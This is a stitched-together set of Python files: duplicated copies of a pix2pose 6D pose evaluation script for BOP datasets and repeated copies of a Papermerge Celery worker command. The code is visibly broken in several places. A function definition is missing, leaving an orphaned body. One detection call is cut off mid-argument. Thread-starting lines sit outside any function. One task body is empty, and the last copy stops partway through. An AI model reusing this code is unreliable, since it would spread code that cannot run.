import os,sys
from math import radians
import csv
import cv2
from skimage.transform import resize

from matplotlib import pyplot as plt
import time
import random
import numpy as np
import transforms3d as tf3d

ROOT_DIR = os.path.abspath(".")
sys.path.append(ROOT_DIR)  # To find local version of the library
sys.path.append("./bop_toolkit")

if(len(sys.argv)!=4):
    print("python3 tools/5_evaluation_bop_basic.py [gpu_id] [cfg file] [dataset_name]")
    sys.exit()

gpu_id = sys.argv[1]
if(gpu_id=='-1'):
    gpu_id=''
os.environ['CUDA_VISIBLE_DEVICES'] = gpu_id
import tensorflow as tf
from bop_toolkit_lib import inout
from tools import bop_io
from pix2pose_util import data_io as dataio
from pix2pose_model import ae_model as ae
from pix2pose_model import recognition as recog
from pix2pose_util.common_util import get_bbox_from_mask

cfg_fn =sys.argv[2]
cfg = inout.load_json(cfg_fn)
detect_type = cfg['detection_pipeline']
if detect_type=='rcnn':
    detection_dir=cfg['path_to_detection_pipeline']
    sys.path.append(detection_dir)
    from mrcnn.config import Config
    from mrcnn import utils
    import mrcnn.model as modellib
    from tools.mask_rcnn_util import BopInferenceConfig
    from skimage.transform import resize

image_t_resized, window, scale, padding, crop = utils.resize_image(
                        np.copy(image_t),
                        min_dim=BopInferenceConfig.IMAGE_MIN_DIM,
                        min_scale=BopInferenceConfig.IMAGE_MIN_SCALE,
                        max_dim=BopInferenceConfig.IMAGE_MAX_DIM,
                        mode=BopInferenceConfig.IMAGE_RESIZE_MODE)
        results = model.detect([image_t_resized], verbose=0)
        r = results[0]
        rois = r['rois']
        rois = rois - [window[0],window[1],window[0],window[1]]
        rois = (rois/scale).astype(np.int)
        obj_orders = np.array(r['class_ids'])-1
        obj_ids = model_ids[obj_orders]
        #now c_ids are the same annotation those of the names of ply/gt files
        scores = np.array(r['scores'])
        masks = r['masks'][window[0]:window[2],window[1]:window[3],:]
        return rois,obj_orders,obj_ids,scores,masks

elif detect_type=='retinanet':
    detection_dir=cfg['path_to_detection_pipeline']
    sys.path.append(detection_dir)
    from keras_retinanet import models
    from keras_retinanet.utils.image import read_image_bgr, preprocess_image, resize_image
    from keras_retinanet.utils.visualization import draw_box, draw_caption
    from keras_retinanet.utils.colors import label_color
    def get_retinanet_detection(image_t,model):
        image = preprocess_image(image_t[:,:,::-1]) #needs bgr order bgr?
        image, scale = resize_image(image)
        boxes, scores, labels = model.predict_on_batch(np.expand_dims(image, axis=0))
        boxes /= scale
        boxes = boxes[0]
        scores = scores[0]
        labels = labels[0]

        score_mask = scores>0
        if(np.sum(score_mask)==0):
            return np.array([[-1,-1,-1,-1]]),-1,-1,-1

        else:
            scores = scores[score_mask]
            boxes =  boxes[score_mask]
            labels =  labels[score_mask]

            rois = np.zeros((boxes.shape[0],4),np.int)
            rois[:,0] = boxes[:,1]
            rois[:,1] = boxes[:,0]
            rois[:,2] = boxes[:,3]
            rois[:,3] = boxes[:,2]
            obj_orders = labels
            obj_ids = model_ids[obj_orders]

            return rois,obj_orders,obj_ids,scores

else:
    print("Unknown detection type")
    sys.exit()

score_type = cfg["score_type"]
#1-scores from a 2D detetion pipeline is used (used for the paper)
#2-scores are caluclated using detection score+overlapped mask (only supported for Mask RCNN, sued for the BOP challenge)

task_type = cfg["task_type"]
#1-Output all results for target object in the given scene
#2-ViVo task (2019 BOP challenge format, take the top-n instances)
cand_factor =float(cfg['cand_factor'])

config_tf = tf.ConfigProto()
config_tf.gpu_options.allow_growth = True
sess = tf.Session(config=config_tf)

dataset=sys.argv[3]
vis=False
output_dir = cfg['path_to_output']
output_img = output_dir+"/" +dataset
if not(os.path.exists(output_img)):
    os.makedirs(output_img)

bop_dir,test_dir,model_plys,\
model_info,model_ids,rgb_files,\
depth_files,mask_files,gts,\
cam_param_global,scene_cam = bop_io.get_dataset(cfg,dataset,incl_param=True,train=False)

im_width,im_height =cam_param_global['im_size']
cam_K = cam_param_global['K']
model_params =inout.load_json(os.path.join(bop_dir+"/models_xyz/",cfg['norm_factor_fn']))

if(dataset=='itodd'):
    img_type='gray'
else:
    img_type='rgb'

if("target_obj" in cfg.keys()):
    target_obj = cfg['target_obj']
    remove_obj_id=[]
    incl_obj_id=[]
    for m_id,model_id in enumerate(model_ids):
        if(model_id not in target_obj):
            remove_obj_id.append(m_id)
        else:
            incl_obj_id.append(m_id)
    for m_id in sorted(remove_obj_id,reverse=True):
        print("Remove a model:",model_ids[m_id])
        del model_plys[m_id]
        del model_info['{}'.format(model_ids[m_id])]

    model_ids = model_ids[incl_obj_id]

print("Camera info-----------------")
print(im_width,im_height)
print(cam_K)
print("-----------------")

'''
standard estimation parameter for pix2pose
'''

th_outlier=cfg['outlier_th']
dynamic_th = True
if(type(th_outlier[0])==list):
    print("Individual outlier thresholds are applied for each object")
    dynamic_th=False
    th_outliers = np.squeeze(np.array(th_outlier))
th_inlier=cfg['inlier_th']
th_ransac=3

dummy_run=True
MODEL_DIR = os.path.join(bop_dir, "weight_detection")
if(detect_type=='rcnn'):
    #Load mask r_cnn
    '''
    standard estimation parameter for Mask R-CNN (identical for all dataset)
    '''
    config = BopInferenceConfig(dataset=dataset,
                            num_classes=model_ids.shape[0]+1,#1+len(model_plys),
                            im_width=im_width,im_height=im_height)
    config.display()
    model = modellib.MaskRCNN(mode="inference", config=config,
                            model_dir=MODEL_DIR)
    last_path = model.find_last()
    #Load the last model you trained and continue training
    model.load_weights(last_path, by_name=True)
elif(detect_type=='retinanet'):
    print("Loading weights for keras-retinanet")
    detection_weight_fn = cfg['detection_weight']
    model = models.load_model(os.path.join(MODEL_DIR,detection_weight_fn), backbone_name='resnet50')

'''
Load pix2pose inference weights
'''
load_partial=False
obj_pix2pose=[]
obj_names=[]
image_dummy=np.zeros((im_height,im_width,3),np.uint8)
if( 'backbone' in cfg.keys()):
    backbone = cfg['backbone']
else:
    backbone = 'paper'
for m_id,model_id in enumerate(model_ids):
    model_param = model_params['{}'.format(model_id)]
    obj_param=bop_io.get_model_params(model_param)
    weight_dir = bop_dir+"/pix2pose_weights/{:02d}".format(model_id)
    if(backbone=='resnet50'):
        weight_fn = os.path.join(weight_dir,"inference_resnet_model.hdf5")
        if not(os.path.exists(weight_fn)):
            weight_fn = os.path.join(weight_dir,"inference_resnet50.hdf5")
    else:
        weight_fn = os.path.join(weight_dir,"inference.hdf5")
    print("load pix2pose weight for obj_{} from".format(model_id),weight_fn)
    if not(dynamic_th):
        th_outlier = [th_outliers[m_id]] #provid a fixed outlier value
        print("Set outlier threshold to ",th_outlier[0])
    recog_temp = recog.pix2pose(weight_fn,camK= cam_K,
                                res_x=im_width,res_y=im_height,obj_param=obj_param,
                                th_ransac=th_ransac,th_outlier=th_outlier,
                                th_inlier=th_inlier,backbone=backbone)
    obj_pix2pose.append(recog_temp)
    obj_names.append(model_id)

test_target_fn = cfg['test_target']
target_list = bop_io.get_target_list(os.path.join(bop_dir,test_target_fn+".json"))

prev_sid=-1
result_dataset=[]

model_ids_list = model_ids.tolist()

if(dummy_run):
    #to activate networks before atual recognition
    #since only the first run takes longer time
    image_t = np.zeros((im_height,im_width,3),np.uint8)
    if(detect_type=='rcnn'):
        rois,obj_orders,obj_ids,scores,masks = get_rcnn_detection(image_t,model)
    elif(detect_type=='retinanet'):
        rois,obj_orders,obj_ids,scores = get_retinanet_detection(image_t,model)

for scene_id,im_id,obj_id_targets,inst_counts in target_list:
    print("Recognizing scene_id:{}, im_id:{}".format(scene_id,im_id))
    if(prev_sid!=scene_id):
        cam_path = test_dir+"/{:06d}/scene_camera.json".format(scene_id)
        cam_info = inout.load_scene_camera(cam_path)
        if(dummy_run):
            image_t = np.zeros((im_height,im_width,3),np.uint8)
            for obj_id_target in obj_id_targets: #refreshing
                _,_,_,_,_,_ = obj_pix2pose[model_ids_list.index(obj_id_target)].est_pose(image_t,np.array([0,0,128,128],np.int))

    prev_sid=scene_id #to avoid re-load scene_camera.json
    cam_param = cam_info[im_id]
    cam_K = cam_param['cam_K']
    depth_scale = cam_param['depth_scale'] #depth/1000 * depth_scale

    if(img_type=='gray'):
        rgb_path = test_dir+"/{:06d}/".format(scene_id)+img_type+\
                        "/{:06d}.tif".format(im_id)
        image_gray = inout.load_im(rgb_path)
        #copy gray values to three channels
        image_t = np.zeros((image_gray.shape[0],image_gray.shape[1],3),dtype=np.uint8)
        image_t[:,:,:]= np.expand_dims(image_gray,axis=2)
    else:
        rgb_path = test_dir+"/{:06d}/".format(scene_id)+img_type+\
                        "/{:06d}.png".format(im_id)
        image_t = inout.load_im(rgb_path)

    t1=time.time()
    inst_count_est=np.zeros((len(inst_counts)))
    inst_count_pred = np.zeros((len(inst_counts)))

    if(detect_type=='rcnn'):
        rois,obj_orders,obj_ids,scores,masks = get_rcnn_detection(image_t,model)
    elif(detect_type=='retinanet'):
        rois,obj_orders,obj_ids,scores = get_retinanet_detection(image_t,model)

    result_score=[]
    result_objid=[]
    result_R=[]
    result_t=[]
    result_roi=[]
    result_img=[]
    vis=False

    for r_id,roi in enumerate(rois):
        if(roi[0]==-1 and roi[1]==-1):
            continue
        obj_id = obj_ids[r_id]
        if not(obj_id in obj_id_targets):
            #skip if the detected object is not in the target object
            continue
        obj_gt_no = obj_id_targets.index(obj_id)
        if(inst_count_pred[obj_gt_no]>inst_counts[obj_gt_no]*cand_factor):
          continue
        inst_count_pred[obj_gt_no]+=1

        obj_order_id = obj_orders[r_id]
        obj_pix2pose[obj_order_id].camK=cam_K.reshape(3,3)
        img_pred,mask_pred,rot_pred,tra_pred,frac_inlier,bbox_t =\
        obj_pix2pose[obj_order_id].est_pose(image_t,roi.astype(np.int))
        if(frac_inlier==-1):
            continue
        if(score_type==2 and detect_type=='rcnn'):
            mask_from_detect = masks[:,:,r_id]
            if not(mask_from_detect.shape[0]==image_t.shape[0] and mask_from_detect.shape[1]==image_t.shape[1]):
                mask_from_detect = resize(mask_from_detect.astype(np.float),(image_t.shape[0] ,image_t.shape[1] ))>0.5
            union = np.sum(np.logical_or(mask_from_detect,mask_pred))
            if(union<=0):
                mask_iou=0
            else:
                mask_iou = np.sum(np.logical_and(mask_from_detect,mask_pred))/union
            score=scores[r_id]*frac_inlier*mask_iou*union
        else:
            score = scores[r_id]
        result_score.append(score)
        result_objid.append(obj_id)
        result_R.append(rot_pred)
        result_t.append(tra_pred)

    if len(result_score)>0:
        result_score = np.array(result_score)
        result_score = result_score/np.max(result_score) #normalize
        sorted_id = np.argsort(1-result_score) #sort results
        time_spend =time.time()-t1 #ends time for the computation
        total_inst=0
        n_inst = np.sum(inst_counts)
    else:
        continue

    for result_id in sorted_id:
        obj_id = result_objid[result_id]
        R = result_R[result_id].flatten()
        t = (result_t[result_id]).flatten()
        score = result_score[result_id]
        obj_gt_no = obj_id_targets.index(obj_id)
        inst_count_est[obj_gt_no]+=1
        if(task_type=='2' and inst_count_est[obj_gt_no]>inst_counts[obj_gt_no]):
            #skip if the result exceeds the amount of taget instances for vivo task
            continue
        result_temp ={'scene_id':scene_id,'im_id': im_id,'obj_id':obj_id,'score':score,'R':R,'t':t,'time':time_spend }
        result_dataset.append(result_temp)
        total_inst+=1
        if(task_type=='2' and total_inst>n_inst): #for vivo task
            break

if(dataset=='tless'):
    output_path = os.path.join(output_dir,"pix2pose-iccv19_"+dataset+"-test-primesense.csv")
else:
    output_path = os.path.join(output_dir,"pix2pose-iccv19_"+dataset+"-test.csv")

print("Saving the result to ",output_path)
inout.save_bop_results(output_path,result_dataset)


import os,sys
from math import radians
import csv
import cv2
from skimage.transform import resize

from matplotlib import pyplot as plt
import time
import random
import numpy as np
import transforms3d as tf3d

ROOT_DIR = os.path.abspath(".")
sys.path.append(ROOT_DIR)  # To find local version of the library
sys.path.append("./bop_toolkit")

if(len(sys.argv)!=4):
    print("python3 tools/5_evaluation_bop_basic.py [gpu_id] [cfg file] [dataset_name]")
    sys.exit()

gpu_id = sys.argv[1]
if(gpu_id=='-1'):
    gpu_id=''
os.environ['CUDA_VISIBLE_DEVICES'] = gpu_id
import tensorflow as tf
from bop_toolkit_lib import inout
from tools import bop_io
from pix2pose_util import data_io as dataio
from pix2pose_model import ae_model as ae
from pix2pose_model import recognition as recog
from pix2pose_util.common_util import get_bbox_from_mask

cfg_fn =sys.argv[2]
cfg = inout.load_json(cfg_fn)
detect_type = cfg['detection_pipeline']
if detect_type=='rcnn':
    detection_dir=cfg['path_to_detection_pipeline']
    sys.path.append(detection_dir)
    from mrcnn.config import Config
    from mrcnn import utils
    import mrcnn.model as modellib
    from tools.mask_rcnn_util import BopInferenceConfig
    from skimage.transform import resize
    def get_rcnn_detection(image_t,model):
        image_t_resized, window, scale, padding, crop = utils.resize_image(
                        np.copy(image_t),
                        min_dim=BopInferenceConfig.IMAGE_MIN_DIM,
                        min_scale=BopInferenceConfig.IMAGE_MIN_SCALE,
                        max_dim=BopInferenceConfig.IMAGE_MAX_DIM,
                        mode=BopInferenceConfig.IMAGE_RESIZE_MODE)
        results = model.detect([image_t_resized],

        r = results[0]
        rois = r['rois']
        rois = rois - [window[0],window[1],window[0],window[1]]
        rois = (rois/scale).astype(np.int)
        obj_orders = np.array(r['class_ids'])-1
        obj_ids = model_ids[obj_orders]
        #now c_ids are the same annotation those of the names of ply/gt files
        scores = np.array(r['scores'])
        masks = r['masks'][window[0]:window[2],window[1]:window[3],:]
        return rois,obj_orders,obj_ids,scores,masks

elif detect_type=='retinanet':
    detection_dir=cfg['path_to_detection_pipeline']
    sys.path.append(detection_dir)
    from keras_retinanet import models
    from keras_retinanet.utils.image import read_image_bgr, preprocess_image, resize_image
    from keras_retinanet.utils.visualization import draw_box, draw_caption
    from keras_retinanet.utils.colors import label_color
    def get_retinanet_detection(image_t,model):
        image = preprocess_image(image_t[:,:,::-1]) #needs bgr order bgr?
        image, scale = resize_image(image)
        boxes, scores, labels = model.predict_on_batch(np.expand_dims(image, axis=0))
        boxes /= scale
        boxes = boxes[0]
        scores = scores[0]
        labels = labels[0]

        score_mask = scores>0
        if(np.sum(score_mask)==0):
            return np.array([[-1,-1,-1,-1]]),-1,-1,-1

        else:
            scores = scores[score_mask]
            boxes =  boxes[score_mask]
            labels =  labels[score_mask]

            rois = np.zeros((boxes.shape[0],4),np.int)
            rois[:,0] = boxes[:,1]
            rois[:,1] = boxes[:,0]
            rois[:,2] = boxes[:,3]
            rois[:,3] = boxes[:,2]
            obj_orders = labels
            obj_ids = model_ids[obj_orders]

            return rois,obj_orders,obj_ids,scores

else:
    print("Unknown detection type")
    sys.exit()

score_type = cfg["score_type"]
#1-scores from a 2D detetion pipeline is used (used for the paper)
#2-scores are caluclated using detection score+overlapped mask (only supported for Mask RCNN, sued for the BOP challenge)

task_type = cfg["task_type"]
#1-Output all results for target object in the given scene
#2-ViVo task (2019 BOP challenge format, take the top-n instances)
cand_factor =float(cfg['cand_factor'])

config_tf = tf.ConfigProto()
config_tf.gpu_options.allow_growth = True
sess = tf.Session(config=config_tf)

dataset=sys.argv[3]
vis=False
output_dir = cfg['path_to_output']
output_img = output_dir+"/" +dataset
if not(os.path.exists(output_img)):
    os.makedirs(output_img)

bop_dir,test_dir,model_plys,\
model_info,model_ids,rgb_files,\
depth_files,mask_files,gts,\
cam_param_global,scene_cam = bop_io.get_dataset(cfg,dataset,incl_param=True,train=False)

im_width,im_height =cam_param_global['im_size']
cam_K = cam_param_global['K']
model_params =inout.load_json(os.path.join(bop_dir+"/models_xyz/",cfg['norm_factor_fn']))

if(dataset=='itodd'):
    img_type='gray'
else:
    img_type='rgb'

if("target_obj" in cfg.keys()):
    target_obj = cfg['target_obj']
    remove_obj_id=[]
    incl_obj_id=[]
    for m_id,model_id in enumerate(model_ids):
        if(model_id not in target_obj):
            remove_obj_id.append(m_id)
        else:
            incl_obj_id.append(m_id)
    for m_id in sorted(remove_obj_id,reverse=True):
        print("Remove a model:",model_ids[m_id])
        del model_plys[m_id]
        del model_info['{}'.format(model_ids[m_id])]

    model_ids = model_ids[incl_obj_id]

print("Camera info-----------------")
print(im_width,im_height)
print(cam_K)
print("-----------------")

'''
standard estimation parameter for pix2pose
'''

th_outlier=cfg['outlier_th']
dynamic_th = True
if(type(th_outlier[0])==list):
    print("Individual outlier thresholds are applied for each object")
    dynamic_th=False
    th_outliers = np.squeeze(np.array(th_outlier))
th_inlier=cfg['inlier_th']
th_ransac=3

dummy_run=True
MODEL_DIR = os.path.join(bop_dir, "weight_detection")
if(detect_type=='rcnn'):
    #Load mask r_cnn
    '''
    standard estimation parameter for Mask R-CNN (identical for all dataset)
    '''
    config = BopInferenceConfig(dataset=dataset,
                            num_classes=model_ids.shape[0]+1,#1+len(model_plys),
                            im_width=im_width,im_height=im_height)
    config.display()
    model = modellib.MaskRCNN(mode="inference", config=config,
                            model_dir=MODEL_DIR)
    last_path = model.find_last()
    #Load the last model you trained and continue training
    model.load_weights(last_path, by_name=True)
elif(detect_type=='retinanet'):
    print("Loading weights for keras-retinanet")
    detection_weight_fn = cfg['detection_weight']
    model = models.load_model(os.path.join(MODEL_DIR,detection_weight_fn), backbone_name='resnet50')

'''
Load pix2pose inference weights
'''
load_partial=False
obj_pix2pose=[]
obj_names=[]
image_dummy=np.zeros((im_height,im_width,3),np.uint8)
if( 'backbone' in cfg.keys()):
    backbone = cfg['backbone']
else:
    backbone = 'paper'
for m_id,model_id in enumerate(model_ids):
    model_param = model_params['{}'.format(model_id)]
    obj_param=bop_io.get_model_params(model_param)
    weight_dir = bop_dir+"/pix2pose_weights/{:02d}".format(model_id)
    if(backbone=='resnet50'):
        weight_fn = os.path.join(weight_dir,"inference_resnet_model.hdf5")
        if not(os.path.exists(weight_fn)):
            weight_fn = os.path.join(weight_dir,"inference_resnet50.hdf5")
    else:
        weight_fn = os.path.join(weight_dir,"inference.hdf5")
    print("load pix2pose weight for obj_{} from".format(model_id),weight_fn)
    if not(dynamic_th):
        th_outlier = [th_outliers[m_id]] #provid a fixed outlier value
        print("Set outlier threshold to ",th_outlier[0])
    recog_temp = recog.pix2pose(weight_fn,camK= cam_K,
                                res_x=im_width,res_y=im_height,obj_param=obj_param,
                                th_ransac=th_ransac,th_outlier=th_outlier,
                                th_inlier=th_inlier,backbone=backbone)
    obj_pix2pose.append(recog_temp)
    obj_names.append(model_id)

test_target_fn = cfg['test_target']
target_list = bop_io.get_target_list(os.path.join(bop_dir,test_target_fn+".json"))

prev_sid=-1
result_dataset=[]

model_ids_list = model_ids.tolist()

if(dummy_run):
    #to activate networks before atual recognition
    #since only the first run takes longer time
    image_t = np.zeros((im_height,im_width,3),np.uint8)
    if(detect_type=='rcnn'):
        rois,obj_orders,obj_ids,scores,masks = get_rcnn_detection(image_t,model)
    elif(detect_type=='retinanet'):
        rois,obj_orders,obj_ids,scores = get_retinanet_detection(image_t,model)

for scene_id,im_id,obj_id_targets,inst_counts in target_list:
    print("Recognizing scene_id:{}, im_id:{}".format(scene_id,im_id))
    if(prev_sid!=scene_id):
        cam_path = test_dir+"/{:06d}/scene_camera.json".format(scene_id)
        cam_info = inout.load_scene_camera(cam_path)
        if(dummy_run):
            image_t = np.zeros((im_height,im_width,3),np.uint8)
            for obj_id_target in obj_id_targets: #refreshing
                _,_,_,_,_,_ = obj_pix2pose[model_ids_list.index(obj_id_target)].est_pose(image_t,np.array([0,0,128,128],np.int))

    prev_sid=scene_id #to avoid re-load scene_camera.json
    cam_param = cam_info[im_id]
    cam_K = cam_param['cam_K']
    depth_scale = cam_param['depth_scale'] #depth/1000 * depth_scale

    if(img_type=='gray'):
        rgb_path = test_dir+"/{:06d}/".format(scene_id)+img_type+\
                        "/{:06d}.tif".format(im_id)
        image_gray = inout.load_im(rgb_path)
        #copy gray values to three channels
        image_t = np.zeros((image_gray.shape[0],image_gray.shape[1],3),dtype=np.uint8)
        image_t[:,:,:]= np.expand_dims(image_gray,axis=2)
    else:
        rgb_path = test_dir+"/{:06d}/".format(scene_id)+img_type+\
                        "/{:06d}.png".format(im_id)
        image_t = inout.load_im(rgb_path)

    t1=time.time()
    inst_count_est=np.zeros((len(inst_counts)))
    inst_count_pred = np.zeros((len(inst_counts)))

    if(detect_type=='rcnn'):
        rois,obj_orders,obj_ids,scores,masks = get_rcnn_detection(image_t,model)
    elif(detect_type=='retinanet'):
        rois,obj_orders,obj_ids,scores = get_retinanet_detection(image_t,model)

    result_score=[]
    result_objid=[]
    result_R=[]
    result_t=[]
    result_roi=[]
    result_img=[]
    vis=False

    for r_id,roi in enumerate(rois):
        if(roi[0]==-1 and roi[1]==-1):
            continue
        obj_id = obj_ids[r_id]
        if not(obj_id in obj_id_targets):
            #skip if the detected object is not in the target object
            continue
        obj_gt_no = obj_id_targets.index(obj_id)
        if(inst_count_pred[obj_gt_no]>inst_counts[obj_gt_no]*cand_factor):
          continue
        inst_count_pred[obj_gt_no]+=1

        obj_order_id = obj_orders[r_id]
        obj_pix2pose[obj_order_id].camK=cam_K.reshape(3,3)
        img_pred,mask_pred,rot_pred,tra_pred,frac_inlier,bbox_t =\
        obj_pix2pose[obj_order_id].est_pose(image_t,roi.astype(np.int))
        if(frac_inlier==-1):
            continue
        if(score_type==2 and detect_type=='rcnn'):
            mask_from_detect = masks[:,:,r_id]
            if not(mask_from_detect.shape[0]==image_t.shape[0] and mask_from_detect.shape[1]==image_t.shape[1]):
                mask_from_detect = resize(mask_from_detect.astype(np.float),(image_t.shape[0] ,image_t.shape[1] ))>0.5
            union = np.sum(np.logical_or(mask_from_detect,mask_pred))
            if(union<=0):
                mask_iou=0
            else:
                mask_iou = np.sum(np.logical_and(mask_from_detect,mask_pred))/union
            score=scores[r_id]*frac_inlier*mask_iou*union
        else:
            score = scores[r_id]
        result_score.append(score)
        result_objid.append(obj_id)
        result_R.append(rot_pred)
        result_t.append(tra_pred)

    if len(result_score)>0:
        result_score = np.array(result_score)
        result_score = result_score/np.max(result_score) #normalize
        sorted_id = np.argsort(1-result_score) #sort results
        time_spend =time.time()-t1 #ends time for the computation
        total_inst=0
        n_inst = np.sum(inst_counts)
    else:
        continue

    for result_id in sorted_id:
        obj_id = result_objid[result_id]
        R = result_R[result_id].flatten()
        t = (result_t[result_id]).flatten()
        score = result_score[result_id]
        obj_gt_no = obj_id_targets.index(obj_id)
        inst_count_est[obj_gt_no]+=1
        if(task_type=='2' and inst_count_est[obj_gt_no]>inst_counts[obj_gt_no]):
            #skip if the result exceeds the amount of taget instances for vivo task
            continue
        result_temp ={'scene_id':scene_id,'im_id': im_id,'obj_id':obj_id,'score':score,'R':R,'t':t,'time':time_spend }
        result_dataset.append(result_temp)
        total_inst+=1
        if(task_type=='2' and total_inst>n_inst): #for vivo task
            break

if(dataset=='tless'):
    output_path = os.path.join(output_dir,"pix2pose-iccv19_"+dataset+"-test-primesense.csv")
else:
    output_path = os.path.join(output_dir,"pix2pose-iccv19_"+dataset+"-test.csv")

print("Saving the result to ",output_path)
inout.save_bop_results(output_path,result_dataset)


import os
import logging
import threading

from celery import Celery
from celery.apps.worker import Worker as CeleryWorker

from django.core.management.base import BaseCommand
from papermerge.core.models import Document, BaseTreeNode

from papermerge.core.task_monitor import (
    task_monitor,
    TASK_SENT,
    TASK_RECEIVED,
    TASK_STARTED,
    TASK_SUCCEEDED,
    TASK_FAILED
)

logger = logging.getLogger(__name__)
celery_app = Celery('papermerge')

def on_event(event):
    task_monitor.save_event(event)

def monitor_events(celery_app):

    with celery_app.connection() as conn:
        recv = celery_app.events.Receiver(
            conn,
            handlers={
                TASK_SENT: on_event,
                TASK_RECEIVED: on_event,
                TASK_STARTED: on_event,
                TASK_SUCCEEDED: on_event,
                TASK_FAILED: on_event,
            }
        )
        recv.capture(limit=None, timeout=None, wakeup=True)

thread = threading.Thread(target=monitor_events, args=[celery_app])
    thread.daemon = True
    thread.start()

@celery_app.task
def rebuild_the_tree():
    BaseTreeNode.objects.rebuild()

@celery_app.task
def txt2db():
    """
    Move OCRed text from txt files into database
    """
    logger.debug("Celery beat: txt2db")

    for doc in Document.objects.all():
        doc.update_text_field()

def _include_txt2db_task(celery_app_instance, schedule):
    # Calls every :schedule: seconds txt2db

    celery_app_instance.add_periodic_task(
        schedule,  # call this task once in :schedule: seconds
        txt2db.s(),
        name='txt2db'
    )

def _include_rebuid_tree_task(celery_app_instance, schedule):
    # once every :schedule: seconds rebuild the whole tree

    celery_app_instance.add_periodic_task(
        schedule,  # call this task once in :schedule: seconds
        rebuild_the_tree.s(),
        name='rebuild_the_tree'
    )

def setup_periodic_tasks(celery_app_instance, **options):
    """
    ``options`` will have following keys:
        * skip_txt2db :boolean:
        * skip_rebuid :boolean:

    Each of those keys decides weathe to start respective period task.
    Depending on setup, user might want to skip one, two or maybe all four
    period tasks.
    """

    start_txt2db = not options.get("skip_txt2db", False)
    start_rebuild = not options.get("skip_rebuild", False)
    rebuild_schedule = options.get("rebuild_schedule")
    txt2db_schedule = options.get("txt2db_schedule")

class Command(BaseCommand):

    help = "Built-in Papermerge worker"

    def add_arguments(self, parser):
        parser.add_argument(
            '--pidfile',
            type=str,
            help='Optional file used to store the process pid.\n'
            'The program won’t start if this file already '
            'exists and the pid is still alive.'
        )

        parser.add_argument(
            '--skip-rebuild',
            action="store_true",
            help="Do not start 'rebuild_the_tree' periodic task."
        )
        parser.add_argument(
            '--rebuild-schedule',
            type=int,
            default=300,
            help="Schedule (in seconds) for 'rebuild_the_tree' periodic task."
            " Default value is 300 seconds."
        )
        parser.add_argument(
            '--skip-txt2db',
            action="store_true",
            help="Do not start 'txt2db' periodic task."
        )
        parser.add_argument(
            '--txt2db-schedule',
            type=int,
            default=64,
            help="Schedule (in seconds) for 'txt2db' periodic task."
            " Default value is 64 seconds."
        )

    def handle(self, *args, **options):
        celery_app.config_from_object(
            'django.conf:settings', namespace='CELERY'
        )
        # Load task modules from all registered Django app configs.
        celery_app.autodiscover_tasks()

        celery_worker = CeleryWorker(
            hostname="localhost",
            app=celery_app,
            beat=True,
            quiet=True,
            task_events=True,  # without this monitoring events won't work
            concurrency=1
        )

        # Set pidfile if it the corresponding argument has been provided
        if options['pidfile']:
            celery_worker.pidfile = options['pidfile']

        setup_periodic_tasks(
            celery_app_instance=celery_app,
            **options
        )
        setup_event_listening(celery_app)

        celery_worker.start()


import os
import logging
import threading

from celery import Celery
from celery.apps.worker import Worker as CeleryWorker

from django.core.management.base import BaseCommand
from papermerge.core.models import Document, BaseTreeNode

from papermerge.core.task_monitor import (
    task_monitor,
    TASK_SENT,
    TASK_RECEIVED,
    TASK_STARTED,
    TASK_SUCCEEDED,
    TASK_FAILED
)

logger = logging.getLogger(__name__)
celery_app = Celery('papermerge')

def on_event(event):
    task_monitor.save_event(event)

def monitor_events(celery_app):

    with celery_app.connection() as conn:
        recv = celery_app.events.Receiver(
            conn,
            handlers={
                TASK_SENT: on_event,
                TASK_RECEIVED: on_event,
                TASK_STARTED: on_event,
                TASK_SUCCEEDED: on_event,
                TASK_FAILED: on_event,
            }
        )
        recv.capture(limit=None, timeout=None, wakeup=True)

def setup_event_listening(celery_app):
    thread = threading.Thread(target=monitor_events, args=[celery_app])
    thread.daemon = True
    thread.start()

@celery_app.task
def rebuild_the_tree():

@celery_app.task
def txt2db():
    """
    Move OCRed text from txt files into database
    """
    logger.debug("Celery beat: txt2db")

    for doc in Document.objects.all():
        doc.update_text_field()

def _include_txt2db_task(celery_app_instance, schedule):
    # Calls every :schedule: seconds txt2db

    celery_app_instance.add_periodic_task(
        schedule,  # call this task once in :schedule: seconds
        txt2db.s(),
        name='txt2db'
    )

def _include_rebuid_tree_task(celery_app_instance, schedule):
    # once every :schedule: seconds rebuild the whole tree

    celery_app_instance.add_periodic_task(
        schedule,  # call this task once in :schedule: seconds
        rebuild_the_tree.s(),
        name='rebuild_the_tree'
    )

def setup_periodic_tasks(celery_app_instance, **options):
    """
    ``options`` will have following keys:
        * skip_txt2db :boolean:
        * skip_rebuid :boolean:

    Each of those keys decides weathe to start respective period task.
    Depending on setup, user might want to skip one, two or maybe all four
    period tasks.
    """

    start_txt2db = not options.get("skip_txt2db", False)
    start_rebuild = not options.get("skip_rebuild", False)
    rebuild_schedule = options.get("rebuild_schedule")
    txt2db_schedule = options.get("txt2db_schedule")

class Command(BaseCommand):

    help = "Built-in Papermerge worker"

    def add_arguments(self, parser):
        parser.add_argument(
            '--pidfile',
            type=str,
            help='Optional file used to store the process pid.\n'
            'The program won’t start if this file already '
            'exists and the pid is still alive.'
        )

        parser.add_argument(
            '--skip-rebuild',
            action="store_true",
            help="Do not start 'rebuild_the_tree' periodic task."
        )
        parser.add_argument(
            '--rebuild-schedule',
            type=int,
            default=300,
            help="Schedule (in seconds) for 'rebuild_the_tree' periodic task."
            " Default value is 300 seconds."
        )
        parser.add_argument(
            '--skip-txt2db',
            action="store_true",
            help="Do not start 'txt2db' periodic task."
        )
        parser.add_argument(
            '--txt2db-schedule',
            type=int,
            default=64,
            help="Schedule (in seconds) for 'txt2db' periodic task."
            " Default value is 64 seconds."
        )

    def handle(self, *args, **options):
        celery_app.config_from_object(
            'django.conf:settings', namespace='CELERY'
        )
        # Load task modules from all registered Django app configs.
        celery_app.autodiscover_tasks()

        celery_worker = CeleryWorker(
            hostname="localhost",
            app=celery_app,
            beat=True,
            quiet=True,
            task_events=True,  # without this monitoring events won't work
            concurrency=1
        )

        # Set pidfile if it the corresponding argument has been provided
        if options['pidfile']:
            celery_worker.pidfile = options['pidfile']

        setup_periodic_tasks(
            celery_app_instance=celery_app,
            **options
        )
        setup_event_listening(celery_app)

        celery_worker.start()


import os
import logging
import threading

from celery import Celery
from celery.apps.worker import Worker as CeleryWorker

from django.core.management.base import BaseCommand
from papermerge.core.models import Document, BaseTreeNode

from papermerge.core.task_monitor import (
    task_monitor,
    TASK_SENT,
    TASK_RECEIVED,
    TASK_STARTED,
    TASK_SUCCEEDED,
    TASK_FAILED
)

